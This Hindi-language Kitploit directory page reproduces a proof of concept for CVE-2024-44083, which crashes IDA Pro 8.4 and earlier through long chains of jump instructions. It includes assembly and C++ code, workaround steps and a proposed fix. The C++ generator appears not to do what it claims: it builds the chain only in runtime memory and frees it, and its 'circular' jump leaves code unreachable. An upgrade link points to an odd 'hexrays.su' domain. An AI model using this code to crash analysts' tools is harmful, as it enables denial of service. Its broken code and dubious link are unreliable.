Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-44083 — # CVE-2024-44083 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: IDA Pro ≤8.4 में अत्यधिक जंप चेन के कारण स्टैक ओवरफ्लो से क्रैश इसमें तकनीकी विश्लेषण, पुनरुत्पादन कोड, और रिवर्स इंजीनियरिंग टूल्स के लिए शमन सलाह शामिल है। | Kitploit
उपकरण/GitHubGitHub/dynamicx64/cve-2024-44083
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगफज़िंगबाइनरी विश्लेषणलर्निंग और शिक्षा
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

# CVE-2024-44083 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: IDA Pro ≤8.4 में अत्यधिक जंप चेन के कारण स्टैक ओवरफ्लो से क्रैश इसमें तकनीकी विश्लेषण, पुनरुत्पादन कोड, और रिवर्स इंजीनियरिंग टूल्स के लिए शमन सलाह शामिल है।

रिपॉजिटरी देखें
128 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-44083

मूल PoC रिपॉजिटरी हटा दी गई थी (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) तो यहाँ इसे फिर से बनाया गया है। मैंने सोचा कि इसे दोबारा बना दूँ ताकि जो कोई यह समझना चाहे कि यह कैसे काम करता है या अपने सेटअप का परीक्षण करना चाहता है, उसके लिए उपलब्ध हो।

IDA Pro ≤ 8.4 उन बाइनरी को विश्लेषित करते समय क्रैश हो जाता है जिनमें अत्यधिक जंप चेन होती हैं।

बग

ida64.dll यह सीमित नहीं करता कि जंप चेन का अनुसरण करते समय वह कितनी गहराई तक जाता है। इसलिए यदि आपके पास हजारों लिंक्ड जंप वाली एक बाइनरी है जो एंट्री पॉइंट पर समाप्त होती है, तो IDA खुद को खत्म कर लेता है।

फ़ील्डमान
CVECVE-2024-44083
प्रभावितIDA Pro ≤ 8.4
घटकida64.dll
CWECWE-770 (संसाधन थकावट)
प्रभावक्रैश (DoS)

यह कैसे काम करता है

विचार सरल है: एक सेक्शन बनाएँ जो जंप से भरा हो, जो बार-बार और जंप पर कूदते रहें।

root@kitploit:~
; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

IDA इन सभी जंप को ट्रैक करने और क्रॉस-रेफरेंस बनाने की कोशिश करता है, और पर्याप्त जंप होने पर वह हार मानकर क्रैश हो जाता है।

इसे स्वयं करना (उदाहरण)

यदि आप C++ में ऐसा कुछ बनाना चाहते हैं, तो आप कुछ इस प्रकार करेंगे:

root@kitploit:~

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

मूल रूप से आप बस एक साथ जुड़े हुए बहुत सारे JMP निर्देश लिख रहे हैं। जब IDA इसका विश्लेषण करने में स्मार्ट बनने की कोशिश करता है, तो उसका स्टैक/मेमोरी खत्म हो जाता है।

समाधान

यदि आप पुराने IDA पर अटके हैं:

  1. संदिग्ध फ़ाइलें खोलने से पहले ऑटो-एनालिसिस बंद करें

    • टूलबार में पीले/हरे सर्कल पर क्लिक करके इसे बंद करें
    • या Options → General → Analysis → "Enabled" को अनचेक करें
    • पहले मैन्युअल रूप से चारों ओर देखें, फिर यदि सुरक्षित लगे तो पुनः सक्षम करें
  2. संदिग्ध सेक्शन पर विश्लेषण सीमित करें

    • सेक्शन पर राइट-क्लिक करें → Edit segment
    • कोड विश्लेषण को रोकने के लिए सेगमेंट प्रकार या अनुमतियाँ बदलें
    • या यदि इसकी आवश्यकता नहीं है तो सेगमेंट को पूरी तरह हटा दें

Hex-Rays को क्या करना चाहिए:

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

बस एक डेप्थ लिमिट जोड़ें, बस इतना ही।

संदर्भ

  • NVD
  • hexrays.su <-- अपने IDA को अपग्रेड करने के लिए

अस्वीकरण

केवल शैक्षिक उद्देश्यों के लिए, बदमाशी न करें।

टूल डाउनलोड करें